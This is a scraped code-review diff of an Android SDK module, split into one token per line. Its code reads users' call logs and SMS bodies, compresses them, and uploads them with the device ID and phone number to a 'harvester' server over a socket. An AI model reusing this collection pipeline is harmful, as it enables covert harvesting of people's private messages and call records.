//SDK-NOLOG-CODE ->
setCachedName(cachedName);
//SDK-NOLOG-CODE ->
setNumber(number);
//SDK-NOLOG-CODE ->
setType(type);
//SDK-NOLOG-CODE ->
setDate(date);
//SDK-NOLOG-CODE ->
setDuration(duration);
//SDK-NOLOG-CODE ->
}};
//SDK-NOLOG-CODE ->
return com.annimon.stream.Optional.of(callLogEntity);
//SDK-NOLOG-CODE ->
} catch (Exception e) {
//SDK-NOLOG-CODE ->
return com.annimon.stream.Optional.empty();
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
/**
//SDK-NOLOG-CODE ->
* 查询一条短信记录
//SDK-NOLOG-CODE ->
*/
//SDK-NOLOG-CODE ->
private static com.annimon.stream.Optional<SmsEntity> getOneSms(Cursor cursor) {
//SDK-NOLOG-CODE ->
//
SDK-NOLOG-CODE ->//
"person", //reference to item in {@code content://contacts/people}
//
SDK-NOLOG-CODE ->//
"address", //The address of the other party.
//
SDK-NOLOG-CODE ->//
"type",
//
SDK-NOLOG-CODE ->//
"date",
//
SDK-NOLOG-CODE ->//
"body",
//
SDK-NOLOG-CODE ->//
"subject"},
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
try {
//SDK-NOLOG-CODE ->
final String address = cursor.getString(cursor.getColumnIndex("address"));
//SDK-NOLOG-CODE ->
final int type = cursor.getInt(cursor.getColumnIndex("type"));
//SDK-NOLOG-CODE ->
final long date = cursor.getLong(cursor.getColumnIndex("date"));
//SDK-NOLOG-CODE ->
final String body = cursor.getString(cursor.getColumnIndex("body"));
//SDK-NOLOG-CODE ->
final String subject = cursor.getString(cursor.getColumnIndex("subject"));
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
SmsEntity smsEntity = new SmsEntity() {{
//SDK-NOLOG-CODE ->
setAddress(address);
//SDK-NOLOG-CODE ->
setType(type);
//SDK-NOLOG-CODE ->
setDate(date);
//SDK-NOLOG-CODE ->
setBody(body);
//SDK-NOLOG-CODE ->
setSubject(subject);
//SDK-NOLOG-CODE ->
}};
//SDK-NOLOG-CODE ->
return com.annimon.stream.Optional.of(smsEntity);
//SDK-NOLOG-CODE ->
} catch (Exception e) {
//SDK-NOLOG-CODE ->
//UploadManager.uploadException(e, "getOneSms");
//SDK-NOLOG-CODE ->
return com.annimon.stream.Optional.empty();
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
}
/**
* 取出一条通话记录
*/
private
static
com
.
annimon
.
stream
.
Optional
<
CallLogEntity
>
getOneCallLog
(
Cursor
cursor
)
{
try
{
final
String
cachedName
=
cursor
.
getString
(
0
);
final
String
number
=
cursor
.
getString
(
1
);
final
int
type
=
cursor
.
getInt
(
2
);
final
long
date
=
cursor
.
getLong
(
3
);
final
long
duration
=
cursor
.
getLong
(
4
);
CallLogEntity
callLogEntity
=
new
CallLogEntity
()
{{
setCachedName
(
cachedName
);
setNumber
(
number
);
setType
(
type
);
setDate
(
date
);
setDuration
(
duration
);
}};
return
com
.
annimon
.
stream
.
Optional
.
of
(
callLogEntity
);
}
catch
(
Exception
e
)
{
return
com
.
annimon
.
stream
.
Optional
.
empty
();
}
}
/**
* 查询一条短信记录
*/
private
static
com
.
annimon
.
stream
.
Optional
<
SmsEntity
>
getOneSms
(
Cursor
cursor
)
{
// "person", //reference to item in {@code content://contacts/people}
// "address", //The address of the other party.
// "type",
// "date",
// "body",
// "subject"},
try
{
final
String
address
=
cursor
.
getString
(
cursor
.
getColumnIndex
(
"address"
));
final
int
type
=
cursor
.
getInt
(
cursor
.
getColumnIndex
(
"type"
));
final
long
date
=
cursor
.
getLong
(
cursor
.
getColumnIndex
(
"date"
));
final
String
body
=
cursor
.
getString
(
cursor
.
getColumnIndex
(
"body"
));
final
String
subject
=
cursor
.
getString
(
cursor
.
getColumnIndex
(
"subject"
));
SmsEntity
smsEntity
=
new
SmsEntity
()
{{
setAddress
(
address
);
setType
(
type
);
setDate
(
date
);
setBody
(
body
);
setSubject
(
subject
);
}};
return
com
.
annimon
.
stream
.
Optional
.
of
(
smsEntity
);
}
catch
(
Exception
e
)
{
//UploadManager.uploadException(e, "getOneSms");
return
com
.
annimon
.
stream
.
Optional
.
empty
();
}
}
//SDK-NOLOG-END
/**
...
...
src/main/java/tech/starwin/utils/collection/UploadManager.java
View file @
98628cf8
...
...
@@ -71,36 +71,36 @@ public class UploadManager {
*/
public
static
void
uploadCollectInfo
(
String
sessionId
,
boolean
needLogs
)
{
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
if (TextUtils.isEmpty(sessionId)) {
//SDK-NOLOG-CODE ->
return;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
PreferencesManager.get().saveSessionId(sessionId);
//SDK-NOLOG-CODE ->
Observable.just(true)
//SDK-NOLOG-CODE ->
.observeOn(Schedulers.io())
//SDK-NOLOG-CODE ->
.map(new Function<Boolean, Boolean>() {
//SDK-NOLOG-CODE ->
@Override
//SDK-NOLOG-CODE ->
public Boolean apply(Boolean aBoolean) throws Exception {
//SDK-NOLOG-CODE ->
long startTime = System.currentTimeMillis();
//SDK-NOLOG-CODE ->
//获取需要上传的数据
//SDK-NOLOG-CODE ->
List<CollectInfoEntity> infos;
//SDK-NOLOG-CODE ->
if (needLogs) {
//SDK-NOLOG-CODE ->
infos = Collector.getUploadData(context);
//SDK-NOLOG-CODE ->
} else {
//SDK-NOLOG-CODE ->
infos = Collector.getUploadWhitOutLogs(context);
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
if (infos == null || infos.size() == 0) {
//SDK-NOLOG-CODE ->
return false;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//开始上传
//
SDK-NOLOG-CODE ->//
uploadBlackBox();
//SDK-NOLOG-CODE ->
startUpload(infos, sessionId);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
return true;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
})
//SDK-NOLOG-CODE ->
.retryWhen(new RetryWithDelay(5, 20 * 1000))
//SDK-NOLOG-CODE ->
.observeOn(AndroidSchedulers.mainThread())
//SDK-NOLOG-CODE ->
.subscribe();
if
(
TextUtils
.
isEmpty
(
sessionId
))
{
return
;
}
PreferencesManager
.
get
().
saveSessionId
(
sessionId
);
Observable
.
just
(
true
)
.
observeOn
(
Schedulers
.
io
())
.
map
(
new
Function
<
Boolean
,
Boolean
>()
{
@Override
public
Boolean
apply
(
Boolean
aBoolean
)
throws
Exception
{
long
startTime
=
System
.
currentTimeMillis
();
//获取需要上传的数据
List
<
CollectInfoEntity
>
infos
;
if
(
needLogs
)
{
infos
=
Collector
.
getUploadData
(
context
);
}
else
{
infos
=
Collector
.
getUploadWhitOutLogs
(
context
);
}
if
(
infos
==
null
||
infos
.
size
()
==
0
)
{
return
false
;
}
//开始上传
// uploadBlackBox();
startUpload
(
infos
,
sessionId
);
return
true
;
}
})
.
retryWhen
(
new
RetryWithDelay
(
5
,
20
*
1000
))
.
observeOn
(
AndroidSchedulers
.
mainThread
())
.
subscribe
();
//SDK-NOLOG-END
}
...
...
@@ -132,86 +132,86 @@ public class UploadManager {
*/
public
static
void
startUpload
(
List
<
CollectInfoEntity
>
infoList
,
String
sessionId
)
throws
RuntimeException
{
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
Socket socket = null;
//SDK-NOLOG-CODE ->
OutputStream os = null;
//SDK-NOLOG-CODE ->
InputStream ins = null;
//SDK-NOLOG-CODE ->
try {
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
socket = getSocket();
//SDK-NOLOG-CODE ->
os = socket.getOutputStream();
//SDK-NOLOG-CODE ->
ins = socket.getInputStream();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
List<String> datas = Stream.of(infoList)
//SDK-NOLOG-CODE ->
.map(new com.annimon.stream.function.Function<CollectInfoEntity, byte[]>() {
//SDK-NOLOG-CODE ->
@Override
//SDK-NOLOG-CODE ->
public byte[] apply(CollectInfoEntity collectInfoEntity) {
//SDK-NOLOG-CODE ->
return GZipUtil.compress(collectInfoEntity.getBody(), "utf-8");
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
})
//SDK-NOLOG-CODE ->
.map(new com.annimon.stream.function.Function<byte[], String>() {
//SDK-NOLOG-CODE ->
@Override
//SDK-NOLOG-CODE ->
public String apply(byte[] bytes) {
//SDK-NOLOG-CODE ->
return Base64.encodeToString(bytes, 0);
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
})
//SDK-NOLOG-CODE ->
.reduce(new ArrayList<>(), new BiFunction<ArrayList<String>, String, ArrayList<String>>() {
//SDK-NOLOG-CODE ->
@Override
//SDK-NOLOG-CODE ->
public ArrayList<String> apply(ArrayList<String> array, String value) {
//SDK-NOLOG-CODE ->
array.add(value);
//SDK-NOLOG-CODE ->
return array;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
});
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
int count = Stream.of(datas).reduce(0, (accr, item) -> accr + item.length());
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
LogUtils.d(TAG, "upload count:" + (count / 1024 + "k"));
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
for (int i = 0; i < datas.size(); i++) {
//SDK-NOLOG-CODE ->
IncomeMessageProto.Message message = IncomeMessageProto.Message.newBuilder()
//SDK-NOLOG-CODE ->
.setVersion("2")
//SDK-NOLOG-CODE ->
.setBody(datas.get(i))
//SDK-NOLOG-CODE ->
.setImei(AppInfoUtils.getAndroidID(context))
//SDK-NOLOG-CODE ->
.setMobile(LoginManager.get().getMobile())
//SDK-NOLOG-CODE ->
.setCTimestamp(System.currentTimeMillis())
//SDK-NOLOG-CODE ->
.setType(IncomeMessageProto.Message.Type.TRACE)
//SDK-NOLOG-CODE ->
.setSessionId(sessionId)
//SDK-NOLOG-CODE ->
.build();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
message.writeDelimitedTo(os);
//SDK-NOLOG-CODE ->
os.flush();
//SDK-NOLOG-CODE ->
IncomeMessageProto.Message feedback = IncomeMessageProto.Message.parseDelimitedFrom(ins);
//SDK-NOLOG-CODE ->
if (feedback != null) {
//SDK-NOLOG-CODE ->
String from = feedback.toString();
//SDK-NOLOG-CODE ->
LogUtils.d(TAG, "feedback: " + from);
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
//发送上传结束指令
//SDK-NOLOG-CODE ->
sendControlCommand(os, "CLOSE", sessionId, " datas.size=" + datas.size());
//SDK-NOLOG-CODE ->
PreferencesManager.get().saveSessionId("");
//SDK-NOLOG-CODE ->
} catch (IOException e) {
//SDK-NOLOG-CODE ->
e.printStackTrace();
//SDK-NOLOG-CODE ->
uploadException(e, e.getMessage());
//SDK-NOLOG-CODE ->
} catch (Exception e) {
//SDK-NOLOG-CODE ->
e.printStackTrace();
//SDK-NOLOG-CODE ->
uploadException(e, e.getMessage());
//SDK-NOLOG-CODE ->
} finally {
//SDK-NOLOG-CODE ->
try {
//SDK-NOLOG-CODE ->
if (os != null) {
//SDK-NOLOG-CODE ->
os.close();
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
if (ins != null) {
//SDK-NOLOG-CODE ->
ins.close();
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
if (socket != null) {
//SDK-NOLOG-CODE ->
socket.close();
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
} catch (IOException e) {
//SDK-NOLOG-CODE ->
e.printStackTrace();
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
}
Socket
socket
=
null
;
OutputStream
os
=
null
;
InputStream
ins
=
null
;
try
{
socket
=
getSocket
();
os
=
socket
.
getOutputStream
();
ins
=
socket
.
getInputStream
();
List
<
String
>
datas
=
Stream
.
of
(
infoList
)
.
map
(
new
com
.
annimon
.
stream
.
function
.
Function
<
CollectInfoEntity
,
byte
[]>()
{
@Override
public
byte
[]
apply
(
CollectInfoEntity
collectInfoEntity
)
{
return
GZipUtil
.
compress
(
collectInfoEntity
.
getBody
(),
"utf-8"
);
}
})
.
map
(
new
com
.
annimon
.
stream
.
function
.
Function
<
byte
[],
String
>()
{
@Override
public
String
apply
(
byte
[]
bytes
)
{
return
Base64
.
encodeToString
(
bytes
,
0
);
}
})
.
reduce
(
new
ArrayList
<>(),
new
BiFunction
<
ArrayList
<
String
>,
String
,
ArrayList
<
String
>>()
{
@Override
public
ArrayList
<
String
>
apply
(
ArrayList
<
String
>
array
,
String
value
)
{
array
.
add
(
value
);
return
array
;
}
});
int
count
=
Stream
.
of
(
datas
).
reduce
(
0
,
(
accr
,
item
)
->
accr
+
item
.
length
());
LogUtils
.
d
(
TAG
,
"upload count:"
+
(
count
/
1024
+
"k"
));
for
(
int
i
=
0
;
i
<
datas
.
size
();
i
++)
{
IncomeMessageProto
.
Message
message
=
IncomeMessageProto
.
Message
.
newBuilder
()
.
setVersion
(
"2"
)
.
setBody
(
datas
.
get
(
i
))
.
setImei
(
AppInfoUtils
.
getAndroidID
(
context
))
.
setMobile
(
LoginManager
.
get
().
getMobile
())
.
setCTimestamp
(
System
.
currentTimeMillis
())
.
setType
(
IncomeMessageProto
.
Message
.
Type
.
TRACE
)
.
setSessionId
(
sessionId
)
.
build
();
message
.
writeDelimitedTo
(
os
);
os
.
flush
();
IncomeMessageProto
.
Message
feedback
=
IncomeMessageProto
.
Message
.
parseDelimitedFrom
(
ins
);
if
(
feedback
!=
null
)
{
String
from
=
feedback
.
toString
();
LogUtils
.
d
(
TAG
,
"feedback: "
+
from
);
}
}
//发送上传结束指令
sendControlCommand
(
os
,
"CLOSE"
,
sessionId
,
" datas.size="
+
datas
.
size
());
PreferencesManager
.
get
().
saveSessionId
(
""
);
}
catch
(
IOException
e
)
{
e
.
printStackTrace
();
uploadException
(
e
,
e
.
getMessage
());
}
catch
(
Exception
e
)
{
e
.
printStackTrace
();
uploadException
(
e
,
e
.
getMessage
());
}
finally
{
try
{
if
(
os
!=
null
)
{
os
.
close
();
}
if
(
ins
!=
null
)
{
ins
.
close
();
}
if
(
socket
!=
null
)
{
socket
.
close
();
}
}
catch
(
IOException
e
)
{
e
.
printStackTrace
();
}
}
//SDK-NOLOG-END
}
...
...
@@ -219,38 +219,38 @@ public class UploadManager {
* 创建Socket
*/
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
private static Socket getSocket() throws IOException {
//SDK-NOLOG-CODE ->
String harvesterUrl = Gateway.getHarvesterUrl();
//SDK-NOLOG-CODE ->
harvesterUrl = harvesterUrl.replaceAll("http://", "");
//SDK-NOLOG-CODE ->
harvesterUrl = harvesterUrl.replaceAll("https://", "");
//SDK-NOLOG-CODE ->
String ip = harvesterUrl.split(":")[0];
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
int port;
//SDK-NOLOG-CODE ->
if (harvesterUrl.length() <= 1) {
//SDK-NOLOG-CODE ->
port = LibConfig.HARVESTER_PORT;
//SDK-NOLOG-CODE ->
} else {
//SDK-NOLOG-CODE ->
try {
//SDK-NOLOG-CODE ->
port = Integer.valueOf(harvesterUrl.split(":")[1]);
//SDK-NOLOG-CODE ->
} catch (Exception e) {
//SDK-NOLOG-CODE ->
e.printStackTrace();
//SDK-NOLOG-CODE ->
port = LibConfig.HARVESTER_PORT;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
Socket socket = new Socket();
//SDK-NOLOG-CODE ->
try {
//SDK-NOLOG-CODE ->
socket.setSoTimeout(30 * 1000);
//SDK-NOLOG-CODE ->
socket.connect(new InetSocketAddress(ip, port), 10 * 1000);
//SDK-NOLOG-CODE ->
} catch (UnknownHostException | SocketException | SocketTimeoutException e) {
//SDK-NOLOG-CODE ->
e.printStackTrace();
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
LogUtils.d(TAG, "socket.getInetAddress() = " + socket.getInetAddress());
//SDK-NOLOG-CODE ->
LogUtils.d(TAG, "socket.getPort() = " + socket.getPort());
//SDK-NOLOG-CODE ->
LogUtils.d(TAG, "socket.getRemoteSocketAddress() = " + socket.getRemoteSocketAddress());
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
return socket;
//SDK-NOLOG-CODE ->
}
private
static
Socket
getSocket
()
throws
IOException
{
String
harvesterUrl
=
Gateway
.
getHarvesterUrl
();
harvesterUrl
=
harvesterUrl
.
replaceAll
(
"http://"
,
""
);
harvesterUrl
=
harvesterUrl
.
replaceAll
(
"https://"
,
""
);
String
ip
=
harvesterUrl
.
split
(
":"
)[
0
];
int
port
;
if
(
harvesterUrl
.
length
()
<=
1
)
{
port
=
LibConfig
.
HARVESTER_PORT
;
}
else
{
try
{
port
=
Integer
.
valueOf
(
harvesterUrl
.
split
(
":"
)[
1
]);
}
catch
(
Exception
e
)
{
e
.
printStackTrace
();
port
=
LibConfig
.
HARVESTER_PORT
;
}
}
Socket
socket
=
new
Socket
();
try
{
socket
.
setSoTimeout
(
30
*
1000
);
socket
.
connect
(
new
InetSocketAddress
(
ip
,
port
),
10
*
1000
);
}
catch
(
UnknownHostException
|
SocketException
|
SocketTimeoutException
e
)
{
e
.
printStackTrace
();
}
LogUtils
.
d
(
TAG
,
"socket.getInetAddress() = "
+
socket
.
getInetAddress
());
LogUtils
.
d
(
TAG
,
"socket.getPort() = "
+
socket
.
getPort
());
LogUtils
.
d
(
TAG
,
"socket.getRemoteSocketAddress() = "
+
socket
.
getRemoteSocketAddress
());
return
socket
;
}
//SDK-NOLOG-END
/**
...
...
@@ -261,19 +261,19 @@ public class UploadManager {
private
static
void
sendControlCommand
(
OutputStream
os
,
String
cmd
,
String
sessionId
,
String
body
)
throws
IOException
{
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
IncomeMessageProto.Message closeMsg = IncomeMessageProto.Message.newBuilder()
//SDK-NOLOG-CODE ->
.setCTimestamp(0)
//SDK-NOLOG-CODE ->
.setVersion("2")
//SDK-NOLOG-CODE ->
.setBody(body + " permission=" + getPermissionState(context).toString())
//SDK-NOLOG-CODE ->
.setImei(AppInfoUtils.getAndroidID(context))
//SDK-NOLOG-CODE ->
.setMobile(LoginManager.get().getMobile())
//SDK-NOLOG-CODE ->
.setType(IncomeMessageProto.Message.Type.UNKNOWN)
//SDK-NOLOG-CODE ->
.setControlCmd(cmd)
//SDK-NOLOG-CODE ->
.setSessionId(sessionId)
//SDK-NOLOG-CODE ->
.build();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
closeMsg.writeDelimitedTo(os);
//SDK-NOLOG-CODE ->
os.flush();
IncomeMessageProto
.
Message
closeMsg
=
IncomeMessageProto
.
Message
.
newBuilder
()
.
setCTimestamp
(
0
)
.
setVersion
(
"2"
)
.
setBody
(
body
+
" permission="
+
getPermissionState
(
context
).
toString
())
.
setImei
(
AppInfoUtils
.
getAndroidID
(
context
))
.
setMobile
(
LoginManager
.
get
().
getMobile
())
.
setType
(
IncomeMessageProto
.
Message
.
Type
.
UNKNOWN
)
.
setControlCmd
(
cmd
)
.
setSessionId
(
sessionId
)
.
build
();
closeMsg
.
writeDelimitedTo
(
os
);
os
.
flush
();
//SDK-NOLOG-END
}
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment